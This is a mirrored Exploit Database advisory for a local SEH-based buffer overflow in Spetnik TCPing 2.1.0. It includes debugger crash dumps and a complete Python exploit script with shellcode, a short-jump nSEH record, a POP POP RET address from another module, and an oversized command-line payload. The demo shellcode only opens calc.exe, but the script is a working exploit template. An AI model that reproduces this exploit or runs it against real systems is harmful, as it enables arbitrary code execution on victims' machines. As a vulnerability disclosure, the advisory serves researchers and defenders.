TCPing 2.1.0 – Local Buffer Overflow

• Exploit Database
• 118 阅读

• 作者： hyp3rlinx
  日期： 2015-11-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38603/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159

  &apos;&apos;&apos; [+] Credits: hyp3rlinx   [+] Website: hyp3rlinx.altervista.org   [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-TCPING-2.1.0-BUFFER-OVERFLOW.txt     Vendor: ================================ Spetnik.com http://tcping.soft32.com/free-download/     Product: ================================= Spetnik TCPing 2.1.0 / tcping.exe circa 2007   TCPing "pings" a server on a specific port using TCP/IP by opening and closing a connection on the specified port. Results are returned in a similar fashion to that of Microsoft Windows Ping. This application is intended for use in testing for open ports on remote machines, or as an alternative to the standard "ping" in a case where ICMP packets are blocked or ignored.     Vulnerability Type: =================== Buffer Overflow     CVE Reference: ============== N/A     Vulnerability Details: =====================   If TCPing is called with an specially crafted CL argument we will cause exception and overwrite the Pointers to next SEH record and SEH handler with our buffer and malicious shellcode. No suitable POP POP RET address is avail in TCPing as they start with null bytes 0x00 and will break our shellcode. However, TCPing is not compiled with SafeSEH which is a linker option, so we can grab an address from another module that performs POP POP RET instructions to acheive arbitrary code execution on victims system.     stack dump...     EAX 00000045 ECX 0040A750 tcping.0040A750 EDX 41414141 EBX 000002CC ESP 0018FA50 EBP 0018FA50 ESI 0018FD21 ASCII "rror: Unknown host AAAAAA.... EDI 0018FCC8 EIP 0040270A tcping.0040270A C 0ES 002B 32bit 0(FFFFFFFF) P 1CS 0023 32bit 0(FFFFFFFF) A 1SS 002B 32bit 0(FFFFFFFF) Z 0DS 002B 32bit 0(FFFFFFFF) S 0FS 0053 32bit 7EFDD000(FFF) T 0GS 002B 32bit 0(FFFFFFFF) D 0 O 0LastErr WSANO_DATA (00002AFC) EFL 00010216 (NO,NB,NE,A,NS,PE,GE,G)     WinDBG dump...     (17a8.149c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 eax=00000045 ebx=00000222 ecx=0040a750 edx=41414141 esi=0018fd21 edi=0018fcc8 eip=0040270a esp=0018fa50 ebp=0018fa50 iopl=0 nv up ei pl nz ac pe nc cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010216 image00400000+0x270a: 0040270a 8802mov byte ptr [edx],al ds:002b:41414141=??     Exploit code(s): ===============   Python script... &apos;&apos;&apos;   import struct,os,subprocess   #Spetnik TCPing Utility 2.1.0 #buffer overflow SEH exploit #by hyp3rlinx     #pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")   vulnpgm="C:\\tcping.exe "   nseh="\xEB\x06"+"\x90"*2#JMP TO OUR SHELLCODE   seh=struct.pack(&apos;<L&apos;, 0x77214f99) #POP POP RET   payload="A"*580+nseh+seh+sc+"\x90"*20 #BOOOOOOOM!   subprocess.Popen([vulnpgm, payload], shell=False)     &apos;&apos;&apos; Exploitation Technique: ======================= Local     Severity Level: ========================================================= High     ===========================================================   [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.   by hyp3rlinx &apos;&apos;&apos;